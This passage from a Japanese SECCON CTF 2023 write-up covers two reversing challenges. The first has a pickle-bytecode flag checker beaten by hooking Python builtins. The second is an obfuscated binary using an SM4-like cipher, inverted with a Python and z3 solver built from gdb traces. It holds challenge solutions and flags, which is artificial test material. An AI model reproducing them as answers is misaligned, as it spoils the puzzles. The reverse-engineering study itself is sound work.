x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'

pow_e = 65537
pow_n = 18446744073709551557
expected = [ 8215359690687096682,
             1862662588367509514,
             8350772864914849965,
             11616510986494699232,
             3711648467207374797,
             9722127090168848805,
             16780197523811627561,
             18138828537077112905]
expected_before_pow = [5926273486602521698,
                       2118872653869140235,
                       7690147796159135076,
                       1350097776365920200,
                       14146162966031303359,
                       6544350313541966015,
                       17479188458984114886,
                       10799636147710529868]
assert all(map(lambda t: pow(t[0], pow_e, pow_n) == t[1], zip(expected_before_pow, expected)))

f = None # f must be under globals()
original_pow = __builtins__.pow
original_input = __builtins__.input

def attack_flag(flag, current_index):
    assert len(flag) == 64

    # print(f"Trying flag {flag}")
    called_pow_count = 0
    result_outer = None
    def my_pow(a, b, c):
        nonlocal called_pow_count
        nonlocal result_outer

        result_inner = original_pow(a, b, c)
        if current_index // 8 == called_pow_count:
            current_byte = current_index % 8
            lhv = (a >> (current_byte*8)) & 0xFF
            rhv = (expected_before_pow[called_pow_count] >> (current_byte*8)) & 0xFF
            result_outer = (lhv == rhv)
            # print(f"mypow {a=:08x}, {expected_before_pow[called_pow_count]=:08x}")

        called_pow_count += 1
        return result_inner

    __builtins__.input = lambda prompt: flag
    __builtins__.pow = my_pow

    global f
    f = io.BytesIO(payload)
    pickle.load(f)
    assert result_outer is not None

    __builtins__.pow = original_pow
    __builtins__.input = original_input
    return result_outer

flag = bytearray(b"A"*64)
for i in range(0, 64):
    for o in range(0x20, 0x7F):
        tmp = bytearray(flag)
        tmp[i] = o
        if attack_flag(tmp.decode(), i):
            flag = tmp
            print(flag)
            break
    else:
        raise Exception(f"Cannot found flag at index {i}")

実行結果です:

$ time ./solve.py
bytearray(b'SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCONAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{CaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{CanAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_soAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_somAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someonAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someoneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_plAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_pleAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_pleaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_pleasAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_pleaseAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_maAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_makAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_makeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_deAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debuAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugAAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debuggAAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debuggeAAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debuggerAAAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_AAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_fAAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_foAAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_forAAAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_AAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PAAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PiAAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PicAAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PickAAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PicklAAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_PickleAAAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_AAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bAAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_byAAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytAAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_byteAAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecAAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecoAAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecodAAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecodeAAA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode?AA')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??A')
bytearray(b'SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}')
./solve.py  1.16s user 0.00s system 98% cpu 1.171 total
$ python3 problem.py
FLAG> SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
Congratulations!!
$

フラグを入手できました: SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}

[reversing] xuyao (28 team solved, 176 points)

X86-64 Unbreakable Yet Another Obfuscation

配布ファイルとして、問題本体のxuyaoがありました:

$ file *
xuyao: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5b9db3314147d71c79ff222376e4f664faeeb0ba, for GNU/Linux 3.2.0, not stripped
$ pwn checksec xuyao
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_2023/xuyao/xuyao'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

問題文通り、以下のような難読化が施されていました:

  • mmap関数を使ったメモリ確保で確保サイズをすべて0x1000バイトに指定しているため、構造体サイズや種類が分かりません。
  • 構造体を間接参照するための独自構造体を多用しており、どの構造体のどのメンバーがどこで使われているのかを追跡することが困難です。
  • シンボル名が残っているとはいえ、一部の関数名がよく分かりません。とはいえencrypt関数やencrypt_block関数は体を表す良い名前でした。
  • 明らかにユーザー定義と思われる関数の1つに、何故かシンボル名がありませんでした(ks関数の次、r関数の前の関数です、IDAの表示名はsub_15B9でした)。
  • しばしば、struct {int; int;}相当な8バイト構造体が値渡しで関数引数として渡されていました。IDAで関数引数の型を付ける際、「個別引数にカーソルを合わせてY」だとエラーになりましたが、「関数名等の関数全体の方設定できる箇所にカーソル合わせてY」だとうまく型を設定できました。

この問題は「頑張って読解する」ことが中心です。概要を以下に示します:

  • 最大100文字まで入力を受け付けます。
  • 入力をPKCS#7でパディングし、16バイト境界へ合わせます。
  • "SECCON CTF 2023!"や、グローバル変数fishcatを使用して、4*32バイトへの鍵展開を行います。入力が固定であるため鍵展開結果も常に同一になります。
  • 入力16バイトを1ブロックとして、鍵展開結果を使用してencrypt_blockで暗号化します。
  • 暗号化結果が、グローバル変数encと同一であるかを判定します。

読解結果のソルバーと実行結果を先に示します。IDAでの読解メモはひたすら長いので最後に掲載します。

ソルバーと実行結果

ソルバーです。読解結果を検証するために、各関数の入出力をgdb実行経由で取得し、関数の実装を確認する処理も多く含んでいます:

#!/usr/bin/env python3

import z3

def rol(v, bit_count):
    assert 0 <= bit_count <= 31
    return ((v << bit_count) | (v >> (32 - bit_count))) & 0xFFFFFFFF

# https://stackoverflow.com/questions/13955385/z3py-do-a-roll
def rol_for_z3(v, bit_count):
    assert 0 <= bit_count <= 31
    return ((v << bit_count) | z3.LShR(v, 32 - bit_count)) & 0xFFFFFFFF

def byteswap_ulong(v):
    assert 0 <= v <= 0xFFFFFFFF
    return ((((v >>  0) & 0xFF) << 24) |
            (((v >>  8) & 0xFF) << 16) |
            (((v >> 16) & 0xFF) <<  8) |
            (((v >> 24) & 0xFF) <<  0))

def byteswap_ulong_z3(v):
    return (((z3.LShR(v,  0) & 0xFF) << 24) |
            ((z3.LShR(v,  8) & 0xFF) << 16) |
            ((z3.LShR(v, 16) & 0xFF) <<  8) |
            ((z3.LShR(v, 24) & 0xFF) <<  0))

def print_block(block): print(list(map(lambda x:f"{x:08x}", block)))

# 「IDA View-A」で「.rodata:0000000000003100」以降からをしばらく範囲選択して、Shift+Eでデータをエクスポートしました
# この内容は https://en.wikipedia.org/wiki/Rijndael_S-box のものと同一でした
sbox = bytes.fromhex("63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16")
assert len(sbox) == 256

# AESのinverse sboxと同じになります
inverse_sbox = bytes.fromhex("""
52  09  6a  d5  30  36  a5  38  bf  40  a3  9e  81  f3  d7  fb
7c  e3  39  82  9b  2f  ff  87  34  8e  43  44  c4  de  e9  cb
54  7b  94  32  a6  c2  23  3d  ee  4c  95  0b  42  fa  c3  4e
08  2e  a1  66  28  d9  24  b2  76  5b  a2  49  6d  8b  d1  25
72  f8  f6  64  86  68  98  16  d4  a4  5c  cc  5d  65  b6  92
6c  70  48  50  fd  ed  b9  da  5e  15  46  57  a7  8d  9d  84
90  d8  ab  00  8c  bc  d3  0a  f7  e4  58  05  b8  b3  45  06
d0  2c  1e  8f  ca  3f  0f  02  c1  af  bd  03  01  13  8a  6b
3a  91  11  41  4f  67  dc  ea  97  f2  cf  ce  f0  b4  e6  73
96  ac  74  22  e7  ad  35  85  e2  f9  37  e8  1c  75  df  6e
47  f1  1a  71  1d  29  c5  89  6f  b7  62  0e  aa  18  be  1b
fc  56  3e  4b  c6  d2  79  20  9a  db  c0  fe  78  cd  5a  f4
1f  dd  a8  33  88  07  c7  31  b1  12  10  59  27  80  ec  5f
60  51  7f  a9  19  b5  4a  0d  2d  e5  7a  9f  93  c9  9c  ef
a0  e0  3b  4d  ae  2a  f5  b0  c8  eb  bb  3c  83  53  99  61
17  2b  04  7e  ba  77  d6  26  e1  69  14  63  55  21  0c  7d
""")
for i in range(256):
    assert i == inverse_sbox[sbox[i]]

# 「b *(encrypt_block+0x172)」して実行後、「x/32wx (*(long long*)$r12) + 0x44」で調べました
expanded_key_list = [
    0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93,
    0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
    0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1,
    0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
    0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7,
    0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
    0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7,
    0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6,
    ]
assert len(expanded_key_list) == 32
assert all(map(lambda x: 0<=x<=0xFFFFFFFF, expanded_key_list))

def tnls_core(v, local_sbox):
    assert 0 <= v <= 0xFFFFFFFF
    result = 0
    for i in range(4):
        shift_count = i*8
        result |= local_sbox[(v >> shift_count) & 0xFF] << shift_count
    return result
def tnls(v):
    return tnls_core(v, sbox)
def inverse_tnls(result):
    return tnls_core(result, inverse_sbox)

def els_core(v, fn):
    return (v ^ fn(v,3) ^ fn(v, 9) ^ fn(v,14) ^ fn(v,15))
def els(v):
    return els_core(v, rol)
# about 55 iteration per seconds
def inverse_els(result):
    s = z3.Solver()
    v = z3.BitVec("v", 32)
    s.add(els_core(v, rol_for_z3) == result)

    if s.check() == z3.sat:
        return s.model()[v].as_long()
    raise Exception("Can not satisfied")

def sub_15B9(v):
    return els(tnls(v))
def inverse_sub_15B9(result):
    return inverse_tnls(inverse_els(result))

def r(block, dwRoundKey)->int:
    assert len(block) == 4
    assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block))
    x = block[1] ^ block[2] ^ block[3] ^ dwRoundKey
    v = sub_15B9(x)
    return v ^ block[0]
def inverse_r(block, dwRoundKey)->int:
    assert len(block) == 4
    assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block))
    x = block[0] ^ block[1] ^ block[2] ^ dwRoundKey
    v = sub_15B9(x)
    return v ^ block[3]

def encrypt_block(block):
    assert len(block) == 4
    assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block))

    byteswappted_block = [byteswap_ulong(v) for v in block]

    for i in range(32):
        # print(f"before r at {i=:02d} ", end="")
        # print_block(byteswappted_block)
        result_r = r(byteswappted_block, expanded_key_list[i])
        del byteswappted_block[0]
        byteswappted_block.append(result_r)

    result = [byteswap_ulong(v) for v in byteswappted_block[::-1]]
    assert len(result) == 4
    assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, result))
    return result
def inverse_encrypt_block(block):
    assert len(block) == 4
    assert all(map(lambda x: 0 <= x <= 0xFFFFFFFF, block))

    tmp_block = [byteswap_ulong(v) for v in block[::-1]]
    for i in range(31, -1, -1):
        result_inv_r = inverse_r(tmp_block, expanded_key_list[i])
        del tmp_block[3]
        tmp_block.insert(0, result_inv_r)
    result = [byteswap_ulong(v) for v in tmp_block]
    return result

# b tnls
# command
# silent
# echo "\nfrom: "
# x/x ($rdi + $esi)
# c
# end
# b *(tnls+0xE2)
# command
# silent
# echo "\nto: "
# x/x $rdx
# c
# end
tnls_test_list = [
    (0xb809adde, 0x6c01951d),
    (0x7b1c9287, 0x219c4f17),
    (0x268ba22e, 0xf73d3a31),
    (0xa51118e3, 0x0682ad11),
    (0xc4110b83, 0x1c822bec),
    (0xafb0e8ba, 0x79e79bf4),
    (0x79ea5812, 0xb6876ac9),
    (0x1404382d, 0xfaf207d8),
    (0x03cd51d4, 0x7bbdd148),
    (0x7b1837ae, 0x21ad9ae4),
    (0x8f14a63a, 0x73fa2480),
    (0xe8651401, 0x9b4dfa7c),
    (0x0bc6d56c, 0x2bb40350),
    (0x41ab7d99, 0x8362ffee),
    (0x195ae12d, 0xd4bef8d8),
    (0x90c84317, 0x60e81af0),
    (0x66f4ade0, 0x33bf95e1),
    (0x1c5f9fa6, 0x9ccfdb24),
    (0x40f39e90, 0x090d0b60),
    (0xd3937c4b, 0x66dc10b3),
    (0xf04c92dc, 0x8c294f86),
    (0x2737916b, 0xcc9a817f),
    (0x6ab07b0e, 0x02e721ab),
    (0x6127298b, 0xefcca53d),
    (0x0ba051af, 0x2be0d179),
    (0x90363c20, 0x6005ebb7),
    (0xef065fce, 0xdf6fcf8b),
    (0xb49996a5, 0x8dee9006),
    (0x4c4ed227, 0x292fb5cc),
    (0x7fcb88c4, 0xd21fc41c),
    (0xbfdfbc06, 0x089e656f),
    (0x97074dfc, 0x88c5e3b0),
    ]

# gdb-peda$ b *(els+0xBC)
# Breakpoint 1 at 0x14ce
# gdb-peda$ command
# Type commands for breakpoint(s) 1, one per line.
# End with a line saying just "end".
# >silent
# >echo "\nfrom: "
# >x/x $rbp
# >c
# >end
# gdb-peda$ b *(els+0xEE)
# Breakpoint 2 at 0x1500
# gdb-peda$ command
# Type commands for breakpoint(s) 2, one per line.
# End with a line saying just "end".
# >silent
# >echo "\nto: "
# >x/x $rax
# >c
# >end
# gdb-peda$ run
els_test_list = [
    # (els_parameter, els_result)
    (0x6b38c4bd & 0xFFFFFFFF, 0x100674d2 & 0xFFFFFFFF),
    (0x55cddb66 & 0xFFFFFFFF, 0xfb7f736a & 0xFFFFFFFF),
    (0xab3add46 & 0xFFFFFFFF, 0x5ea44576 & 0xFFFFFFFF),
    (0x0ef3181c & 0xFFFFFFFF, 0xd552e424 & 0xFFFFFFFF),
    (0x61189599 & 0xFFFFFFFF, 0x375de35a & 0xFFFFFFFF),
    (0x8488bf8f & 0xFFFFFFFF, 0xc1967f9c & 0xFFFFFFFF),
    (0x42772ada & 0xFFFFFFFF, 0xe040792a & 0xFFFFFFFF),
    (0x1c9607c0 & 0xFFFFFFFF, 0x5639b097 & 0xFFFFFFFF),
    (0xe5980ff2 & 0xFFFFFFFF, 0xfd425e04 & 0xFFFFFFFF),
    (0x242ae7de & 0xFFFFFFFF, 0x9aaafe78 & 0xFFFFFFFF),
    (0x7421632e & 0xFFFFFFFF, 0x7eb081ad & 0xFFFFFFFF),
    (0x42220da6 & 0xFFFFFFFF, 0x92939d89 & 0xFFFFFFFF),
    (0x598c5b00 & 0xFFFFFFFF, 0xb618b914 & 0xFFFFFFFF),
    (0x9fd2b1b7 & 0xFFFFFFFF, 0x30927b29 & 0xFFFFFFFF),
    (0x72de47d5 & 0xFFFFFFFF, 0xeabc3643 & 0xFFFFFFFF),
    (0x880369ce & 0xFFFFFFFF, 0xa05f5cab & 0xFFFFFFFF),
    (0x1ce4f794 & 0xFFFFFFFF, 0x74036a46 & 0xFFFFFFFF),
    (0xa1b9a0e7 & 0xFFFFFFFF, 0x677f502b & 0xFFFFFFFF),
    (0xe3f11a0e & 0xFFFFFFFF, 0xd5c91eba & 0xFFFFFFFF),
    (0xb8d81e1a & 0xFFFFFFFF, 0xc6af29e4 & 0xFFFFFFFF),
    (0x5b082b3d & 0xFFFFFFFF, 0x8c4ef327 & 0xFFFFFFFF),
    (0x7b9c1805 & 0xFFFFFFFF, 0x954f31f0 & 0xFFFFFFFF),
    (0xfb082155 & 0xFFFFFFFF, 0x2bf4034a & 0xFFFFFFFF),
    (0xf569a1be & 0xFFFFFFFF, 0x35d7164d & 0xFFFFFFFF),
    (0x54b3929c & 0xFFFFFFFF, 0xbbe301a2 & 0xFFFFFFFF),
    (0xcaa39f10 & 0xFFFFFFFF, 0xf0cd11fa & 0xFFFFFFFF),
    (0x1ec3f2c8 & 0xFFFFFFFF, 0x6aeffc64 & 0xFFFFFFFF),
    (0xb84290c4 & 0xFFFFFFFF, 0x1324eda0 & 0xFFFFFFFF),
    (0xeff6f9f7 & 0xFFFFFFFF, 0xbf34d591 & 0xFFFFFFFF),
    (0x0de53de8 & 0xFFFFFFFF, 0x79390738 & 0xFFFFFFFF),
    (0x2d660ea7 & 0xFFFFFFFF, 0x0eb1682e & 0xFFFFFFFF),
    (0xa9a012fc & 0xFFFFFFFF, 0xa94402f2 & 0xFFFFFFFF),
  ]

sub_15B9_test_list = [
    (0xfd4b741c, 0xbbe301a2),
    (0x10716e7c, 0xf0cd11fa),
    (0xe93304b1, 0x6aeffc64),
    (0x9af69688, 0x1324eda0),
    (0x61d66926, 0xbf34d591),
    (0xf32a8bc8, 0x79390738),
    (0xfad3d789, 0x0eb1682e),
    (0xf909771b, 0xd5592d21),
    (0x3225e950, 0x0c4613dc),
    (0xc6939940, 0xe7613a74),
    (0x39af8615, 0x80011917),
    (0x47cb08fb, 0xca82973a),
    (0x320caa05, 0x3c7c4075),
    (0xaed07eb0, 0x631aa834),
    (0x7772dd6e, 0x8e6df57a),
    (0x9300fcf7, 0xcc30bbbf),
    (0x9672ac28, 0xffb11d80),
    (0xb105fea3, 0x6f07a0e3),
    (0x265c5ee0, 0x63e1da77),
    (0x4bae71e8, 0x9cadbd2a),
    (0x4fa2259c, 0x418c9f31),
    (0x9d144543, 0xf17e92b6),
    (0xcafda78f, 0x476b3e3f),
    ]

# gdb-peda$ b r
# Breakpoint 1 at 0x1657
# gdb-peda$ command
# Type commands for breakpoint(s) 1, one per line.
# End with a line saying just "end".
# >silent
# >echo "\nblock: "
# >x/4wx ($rcx + 4)
# >c
# >end
# gdb-peda$ b *(r+0xB5)
# Breakpoint 2 at 0x170c
# gdb-peda$ command
# Type commands for breakpoint(s) 2, one per line.
# End with a line saying just "end".
# >silent
# >echo "\ndwRountKey: "
# >x/1wx ($rdi+$r13)
# >c
# >end
# gdb-peda$ b *(r+0x166)
# Breakpoint 3 at 0x17bd
# gdb-peda$ command
# Type commands for breakpoint(s) 3, one per line.
# End with a line saying just "end".
# >silent
# >echo "\nresult: "
# >x/1wx ($r14+$r12)
# >c
# >end
# gdb-peda$ run
r_test_list = [
    ((0x41414141, 0x41414141, 0x41414141, 0x41414141), 0xf6067814, 0xe80543b3),
    ((0x41414141, 0x41414141, 0x41414141, 0xe80543b3), 0xed73cb7e, 0x51473593),
    ((0x41414141, 0x41414141, 0xe80543b3, 0x51473593), 0x1583a8b2, 0xba3e322b),
    ((0x41414141, 0xe80543b3, 0x51473593, 0xba3e322b), 0x0dde8d93, 0x1fe50437),
    ((0xe80543b3, 0x51473593, 0xba3e322b, 0x1fe50437), 0x23e2374b, 0x3d57a797),
    ((0x51473593, 0xba3e322b, 0x1fe50437, 0x3d57a797), 0x40b83c72, 0x661ad6c9),
    ((0xba3e322b, 0x1fe50437, 0x3d57a797, 0x661ad6c9), 0x0b3f811a, 0x7ba84db7),
    ((0x1fe50437, 0x3d57a797, 0x661ad6c9, 0x7ba84db7), 0xd6e7a993, 0xffa57d1d),
    ((0x3d57a797, 0x661ad6c9, 0x7ba84db7, 0xffa57d1d), 0x2622de7c, 0x6b6e1700),
    ]

# b encrypt_block
# run
# input some message
# x/4wx (*(long long*)$rdi + 12)
# b *(encrypt_block+0x3E5)
# continue
# x/4wx (*(long long*)$rcx + 28)
encrypt_block_test_list = [
    ((0x41414141, 0x41414141, 0x41414141, 0x41414141), (0x4943caf1, 0xffbf54aa, 0x8b7cdad1, 0x2b04feb9)), # AAAAAAAAAAAAAAAA
    ((0x44434241, 0x48474645, 0x4c4b4a49, 0x504f4e4d), (0x3d36d5a8, 0x330737dd, 0x40414b60, 0xae287921)), # ABCDEFGHIJKLMNOP
    ((0x0f0f0f0a, 0x0f0f0f0f, 0x0f0f0f0f, 0x0f0f0f0f), (0x9e00abd9, 0xbfe61e75, 0x7f2469b2, 0x22aee8ce)), # 改行コード+padding
    ]

def test_tnls():
    for (i, o) in tnls_test_list:
        assert tnls(i) == o
def test_inverse_tnls():
    for (i, o) in tnls_test_list:
        assert i == inverse_tnls(o)

def test_els():
    for (i, o) in els_test_list:
        assert els(i) == o
def test_inverse_els():
    for i in range(32):
        i == (1 << i)
        els_converted = els(i)
        roundtripped = inverse_els(els_converted)
        assert i == roundtripped
    for (i, o) in els_test_list:
        assert i == inverse_els(o)

def test_sub_15B9_and_inv():
    for (i, o) in sub_15B9_test_list:

        assert sub_15B9(i) == o
        assert i == inverse_sub_15B9(o)
def test_r():
    for (block, key, o) in r_test_list:
        assert r(block, key) == o
def test_inverse_r():
    for (block, key, o) in r_test_list:
        next_block = [block[1], block[2], block[3], o]
        prev_b0 = inverse_r(next_block, key)
        assert prev_b0 == block[0]
def test_encrypt_block():
    for (i, o) in encrypt_block_test_list:
        result = encrypt_block(i)
        # result == o ではFalseだった
        for index in range(4):
            assert result[index] == o[index]
def test_inverse_encrypt_block():
    for (i, o) in encrypt_block_test_list:
        result = inverse_encrypt_block(o)
        #result == i ではFalseだった
        for index in range(4):
            assert result[index] == i[index]

print("Start tests...")
test_tnls()
test_inverse_tnls()
test_els()
test_inverse_els() # z3をつかっているためこれに時間がかかります、でもフラグ復号には結局使っていない……
test_sub_15B9_and_inv()
test_r()
test_inverse_r()
test_encrypt_block()
test_inverse_encrypt_block()
print("Passed all the tests!")

enc = bytes.fromhex("FE 60 A8 C0 3B FE BC 66 FC 9A 9B 31 9A D8 03 BB A9 E1 56 FC FC 11 9F 89 5F 4D 9F E0 9F AE 2A CF 5E 73 CB EC 3F FF B9 D1 99 44 1B 9A 79 79 EC D1 B4 FD EA 2B E2 F1 1A 70 76 3C 2E 7F 3F 3B 7B 66 A3 4B 1B 5C 0F BE DD 98 5A 5B D0 0A 3D 7E 2C 10 56 2A 10 87 5D D9 B9 7F 3E 2E 86 B7 17 04 DF B1 27 C4 47 E2 D9 7A 9A 48 7C DB C6 1D 3C 00 A3 21")
decrypted = bytearray()
for i in range(len(enc)//16):
    block = []
    for j in range(4):
